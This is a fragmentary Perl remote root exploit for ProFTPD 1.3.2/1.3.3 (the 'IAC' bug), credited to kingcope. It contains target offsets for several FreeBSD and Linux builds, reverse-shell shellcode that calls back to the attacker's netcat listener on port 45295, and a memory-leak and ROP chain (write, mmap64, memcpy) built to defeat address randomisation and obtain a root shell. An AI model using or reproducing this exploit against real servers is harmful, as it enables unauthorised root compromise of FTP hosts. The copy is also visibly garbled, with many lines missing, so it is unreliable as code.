# Exploit Title: ProFTPD IAC Remote Root Exploit
["FreeBSD 8.1 i386, ProFTPD 1.3.3a Server (binary)",# PLATFORM SPEC |
"FreeBSD", # OPERATING SYSTEM |
0xbfbfe000, # OFFSET START |
["FreeBSD 8.0/7.3/7.2 i386, ProFTPD 1.3.2a/e/c Server (binary)", |
["Debian GNU/Linux 5.0, ProFTPD 1.3.2e Server (Plesk binary)", |
0x0804CCD4, # write(2) offset |
["Debian GNU/Linux 5.0, ProFTPD 1.3.3 Server (Plesk binary)", |
["Debian GNU/Linux 4.0, ProFTPD 1.3.2e Server (Plesk binary)", |
["Debian Linux Squeeze/sid, ProFTPD 1.3.3a Server (distro binary)", |
["SUSE Linux 9.3, ProFTPD 1.3.2e Server (Plesk binary)", |
["SUSE Linux 10.0/10.3, ProFTPD 1.3.2e Server (Plesk binary)", |
["SUSE Linux 10.2, ProFTPD 1.3.2e Server (Plesk binary)", |
["SUSE Linux 11.0, ProFTPD 1.3.2e Server (Plesk binary)", |
["SUSE Linux 11.1, ProFTPD 1.3.2e Server (Plesk binary)", |
["SUSE Linux SLES 10, ProFTPD 1.3.2e Server (Plesk binary)", |
["CentOS 5, ProFTPD 1.3.2e Server (Plesk binary)", |
# feel free to add more targets. |
#freebsd reverse shell port 45295 |
#setup a netcat on this port ^^ |
"\x31\xc0\x31\xc0\x50\x31\xc0\x50\xb0\x7e\x50\xcd\x80". |
"\x31\xc0\x31\xdb\x53\xb3\x06\x53". |
"\xb3\x01\x53\xb3\x02\x53\x54\xb0". |
"\x61\xcd\x80\x31\xd2\x52\x52\x68". |
"\x41\x41\x41\x41\x66\x68\xb0\xef". |
"\xb7\x02\x66\x53\x89\xe1\xb2\x10". |
"\x52\x51\x50\x52\x89\xc2\x31\xc0". |
"\xb0\x62\xcd\x80\x31\xdb\x39\xc3". |
"\x74\x06\x31\xc0\xb0\x01\xcd\x80". |
"\x31\xc0\x50\x52\x50\xb0\x5a\xcd". |
"\x80\x31\xc0\x31\xdb\x43\x53\x52". |
"\x50\xb0\x5a\xcd\x80\x31\xc0\x43". |
"\x53\x52\x50\xb0\x5a\xcd\x80\x31". |
"\xc0\x50\x68\x2f\x2f\x73\x68\x68". |
"\x2f\x62\x69\x6e\x89\xe3\x50\x54". |
"\x53\x50\xb0\x3b\xcd\x80\x31\xc0". |
#linux reverse shell port 45295 by bighawk |
#setup a netcat on this port ^^ |
"\x31\xc0\x31\xdb\x31\xc9\xb0\x46\xcd\x80\x90\x90\x90". |
"\x68\x7f\x7f\x7f\x7f". # IP |
"\x66\x68\xb0\xef". # PORT |
for ($counter=$targets[$ttype][3]; $counter < $targets[$ttype][4]; $counter += 250) { |
printf("[$target] CURRENT OFFSET = %08x :pP\n", $counter); |
$ret = pack("V", $counter); |
$align = $targets[$ttype][5]; |
my $sock = IO::Socket::INET->new(PeerAddr => $target, |
$stack = "KCOPERULEZKCOPERULEZKC" . $ret . "\x90" x 500 . $shellcode . "A" x 10; |
print $sock "\x00" x $align . "\xff" . $stack . "\n"; |
# Linux technique to retrieve a rootshell (C) kingcope 2010 |
# uses write(2) to fetch process memory out of the remote box (you can find the offset using IDA) |
# only the write(2) plt entry offset is needed for the exploit to work (and of course the |
# once the correct write value is given to the exploit it fetches the memory space of proftpd. |
# with this information the exploit can find function entries and byte values |
# relative to the write(2) address. |
# once the memory is read out the exploit does the following to circumvent linux adress space |
# 1.) calculate mmap64() plt entry |
# 2.) seek for assembly instructions in the proftpd memory space relative to write(2) |
# such as pop pop ret instructions |
# 3.) call mmap64() to map at address 0x10000000 with protection read,write,execute |
# 4.) calculate offset for memcpy() which is later used to construct the shellcode copy routine |
# 4.) copy known assembly instructions (which have been found before using the memory read) |
# to address 0x10000000. these instructions will copy the shellcode from ESP to 0x10000100 |
# and make use of the memcpy found before |
# 5.) actually jump to the shellcode finder |
# 6.) once the shellcode has been copied to 0x10000100 jump to it |
# 7.) shellcode gets executed and we have our desired root shell. |
printf("[$target] %s :pP\n", $targets[$ttype][0]); |
$align = $targets[$ttype][4]; |
$write_offset = $targets[$ttype][3]; |
$padding = $targets[$ttype][5]; |
print "align = $align\n"; |
print "Seeking for write(2)..\n"; |
#known good write(2) values |
#080532D8 proftpd-basic_1.3.3a-4_i386 |
#08052938 proftpd-basic_1.3.2e-4_i386 (ubunutu) |
#0804CCD4 psa-proftpd_1.3.2e-debian5.0.build95100504.17_i386 !! |
printf "Using write offset %08x.\n", $write_offset; |
$sock = IO::Socket::INET->new(PeerAddr => $target, |
$sock->sockopt(SO_LINGER, pack("ii", 1, 0)); |
$stack = "KCOPERULEZKCOPERULEZKC". "C" x $padding . |
"\x01\x00\x00\x00". # fd for write |
pack("V", $k). # buffer for write |
"\xff\xff\x00\x00"; # length for write |
print $sock "\x00" x $align . "\xff" . $stack . "\n"; |
vec ($rfd, fileno($sock), 1) = 1; |
if (select ($rfd, undef, undef, $timeout) >= 0 |
&& vec($rfd, fileno($sock), 1)) |
if (read($sock, $buff, 0xffff) == 0xffff) { |
printf "\nSUCCESS. write(2) is at %08x\n", $k; |
printf "wrong write(2) offset.\n"; |
# Once we're here chances are good that we get the root shell |
print "Reading memory from server...\n"; |
my $sock = IO::Socket::INET->new(PeerAddr => $target, |
$stack = "KCOPERULEZKCOPERULEZKC" . "C" x $padding . |
"\x01\x00\x00\x00". # fd for write |
pack("V", $k). # buffer for write |
"\xff\xff\x0f\x00"; # length for write |
print $sock "\x00" x $align . "\xff" . $stack . "\n"; |
read($sock, $buff, 0xfffff); |
if (($v = index $buff, "\x5E\x5F\x5D") >= 0) { |
printf "pop pop pop ret located at %08x\n", $pop3ret; |
print "Could not find pop pop pop ret\n"; |
if (($v = index $buff, "\x83\xC4\x20\x5B\x5E\x5D\xC3") >= 0) { |
printf "large pop ret located at %08x\n", $largepopret; |
print "Could not find pop pop pop ret\n"; |
if (($v = index $buff, "\xC7\x44\x24\x08\x03\x00\x00\x00\xC7\x04\x24\x00\x00\x00\x00\x89\x44\x24\x04") >= 0) { |
$mmap64 = unpack("I", substr($buff, $v+20, 4)); |
$mmap64 = $addr1 - (0xffffffff-$mmap64); |
printf "mmap64 is located at %08x\n", $mmap64; |
if (($v = index $buff, "\x89\x44\x24\x10\xA1\xBC\xA5\x0F\x08\x89\x44\x24\x04\xe8") >= 0) { |
$mmap64 = unpack("I", substr($buff, $v+14, 4)); |
$mmap64 = $addr1 - (0xffffffff-$mmap64); |
printf "mmap64 is located at %08x\n", $mmap64; |
print "Could not find mmap64()\n"; |
if (($v = index $buff, "\x8D\x45\xF4\x89\x04\x24\x89\x54\x24\x08\x8B\x55\x08\x89\x54\x24\x04\xE8") >= 0) { |
$memcpy = unpack("I", substr($buff, $v+18, 4)); |
$memcpy = $addr1 - (0xffffffff-$memcpy); |
printf "memcpy is located at %08x\n", $memcpy; |
if (($v = index $buff, "\x8B\x56\x10\x89\x44\x24\x08\x89\x54\x24\x04\x8B\x45\xE4\x89\x04\x24\xe8") >= 0) { |
$memcpy = unpack("I", substr($buff, $v+18, 4)); |
$memcpy = $addr1 - (0xffffffff-$memcpy); |
printf "memcpy is located at %08x\n", $memcpy; |
if (($v = index $buff, "\x89\x44\x24\x04\xA1\xBC\x9F\x0E\x08\x89\x04\x24") >= 0) { |
$memcpy = unpack("I", substr($buff, $v+13, 4)); |
$memcpy = $addr1 - (0xffffffff-$memcpy); |
printf "memcpy is located at %08x\n", $memcpy; |
if (($v = index $buff, "\x89\x7C\x24\x04\x89\x1C\x24\x89\x44\x24\x08") >= 0) { |
$memcpy = unpack("I", substr($buff, $v+12, 4)); |
$memcpy = $addr1 - (0xffffffff-$memcpy); |
printf "memcpy is located at %08x\n", $memcpy; |
if (($v = index $buff, "\x8B\x55\x10\x89\x74\x24\x04\x89\x04\x24\x89\x54\x24\x08") >= 0) { |
$memcpy = unpack("I", substr($buff, $v+15, 4)); |
$memcpy = $addr1 - (0xffffffff-$memcpy); |
printf "memcpy is located at %08x\n", $memcpy; |
print "Could not find memcpy()\n"; |
if (($v = index $buff, "\xfc\x8b") >= 0) { |
printf ("byte1: %08x\n", $byte1); |
print "Could not find a special byte\n"; |
if (($v = index $buff, "\xf4") >= 0) { |
printf ("byte2: %08x\n", $byte2); |
print "Could not find a special byte\n"; |
if (($v = index $buff, "\xbf") >= 0) { |
printf ("byte3: %08x\n", $byte3); |
print "Could not find a special byte\n"; |
if (($v = index $buff, "\x00\x01\x00") >= 0) { |
printf ("byte4: %08x\n", $byte4); |
print "Could not find a special byte\n"; |
if (($v = index $buff, "\x10") >= 0) { |
printf ("byte5: %08x\n", $byte5); |
print "Could not find a special byte\n"; |
if (($v = index $buff, "\xB9\x00\x02\x00\x00") >= 0) { |
printf ("byte6: %08x\n", $byte6); |
print "Could not find a special byte\n"; |
if (($v = index $buff, "\xf3") >= 0) { |
printf ("byte7: %08x\n", $byte7); |
print "Could not find a special byte\n"; |
if (($v = index $buff, "\xA4") >= 0) { |
printf ("byte8: %08x\n", $byte8); |
print "Could not find a special byte\n"; |
if (($v = index $buff, "\xeb\xff") >= 0) { |
printf ("byte9: %08x\n", $byte9); |
print "Could not find a special byte\n"; |
# shellcode copy routine: |
#0100740C 8BF4 MOV ESI,ESP |
#0100740E BF 00010010 MOV EDI,10000100 |
#01007413 B9 00020000 MOV ECX,200 |
#01007418 F3:A4 REP MOVS BYTE PTR ES:[EDI],BYTE PTR DS:[> |
# El1Te X-Ploit TechNiqUe (C) |
print "Building exploit buffer\n"; |
$stack = "KCOPERULEZKCOPERULEZKC" . "C" x $padding . |
pack("V", $mmap64). # mmap64() |
pack("V", $largepopret). # add esp, 20h; pop; pop |
"\x00\x00\x00\x10". # mmap start |
"\x00\x10\x00\x00". # mmap size |
"\x07\x00\x00\x00". # mmap prot |
"\x32\x00\x00\x00". # mmap flags |
"\xff\xff\xff\xff". # mmap fd |
"\x00\x00\x00\x00". # mmap offset |
"\x00\x00\x00\x00". # mmap offset |
pack("V", $memcpy). # memcpy() |
pack("V", $pop3ret). # pop; pop; pop; retn |
"\x00\x00\x00\x10". # destination |
pack("V", $byte1). # origin |
"\x02\x00\x00\x00". # number of bytes to copy |
pack("V", $memcpy). # memcpy() |
pack("V", $pop3ret). # pop; pop; pop; retn |
"\x02\x00\x00\x10". # destination |
pack("V", $byte2). # origin |
"\x01\x00\x00\x00". # number of bytes to copy |
pack("V", $memcpy). # memcpy() |
pack("V", $pop3ret). # pop; pop; pop; retn |
"\x03\x00\x00\x10". # destination |
pack("V", $byte3). # origin |
"\x01\x00\x00\x00". # number of bytes to copy |
pack("V", $memcpy). # memcpy() |
pack("V", $pop3ret). # pop; pop; pop; retn |
"\x04\x00\x00\x10". # destination |
pack("V", $byte4). # origin |
"\x03\x00\x00\x00". # number of bytes to copy |
pack("V", $memcpy). # memcpy() |
pack("V", $pop3ret). # pop; pop; pop; retn |
"\x07\x00\x00\x10". # destination |
pack("V", $byte5). # origin |
"\x01\x00\x00\x00". # number of bytes to copy |
pack("V", $memcpy). # memcpy() |
pack("V", $pop3ret). # pop; pop; pop; retn |
"\x08\x00\x00\x10". # destination |
pack("V", $byte6). # origin |
"\x05\x00\x00\x00". # number of bytes to copy |
pack("V", $memcpy). # memcpy() |
pack("V", $pop3ret). # pop; pop; pop; retn |
"\x0d\x00\x00\x10". # destination |
pack("V", $byte7). # origin |
"\x01\x00\x00\x00". # number of bytes to copy |
pack("V", $memcpy). # memcpy() |
pack("V", $pop3ret). # pop; pop; pop; retn |
"\x0e\x00\x00\x10". # destination |
pack("V", $byte8). # origin |
"\x01\x00\x00\x00". # number of bytes to copy |
pack("V", $memcpy). # memcpy() |
pack("V", $pop3ret). # pop; pop; pop; retn |
"\x0f\x00\x00\x10". # destination |
pack("V", $byte9). # origin |
"\x02\x00\x00\x00". # number of bytes to copy |
"\x00\x00\x00\x10". # JUMP TO 0x10000000 rwxp address |
"\x90" x 100 . $shellcode . "\x90" x 10; |
print "Sending exploit buffer!\n"; |
my $sock = IO::Socket::INET->new(PeerAddr => $target, |
print $sock "\x00" x $align . "\xff" . $stack . "\n"; |
print "Check your netcat?\n"; |
print "written by kingcope\n"; |
"proremote.pl <target ip/host> <your ip> <target type>\n\n"; |
for ($i=0; $i<$numtargets; $i++) { |
print "\t[".$i."]\t". $targets[$i][0]. "\r\n"; |
if ($#ARGV ne 2) { usage; } |
$platform = $targets[$ttype][1]; |
$style = $targets[$ttype][2]; |
($a1, $a2, $a3, $a4) = split(//, gethostbyname("$cbip")); |
if ($platform eq "FreeBSD") { |
substr($shellcode, 37, 4, $a1 . $a2 . $a3 . $a4); |
if ($platform eq "Linux") { |
substr($shellcode, 31, 4, $a1 . $a2 . $a3 . $a4); |
exit;
Share on Facebook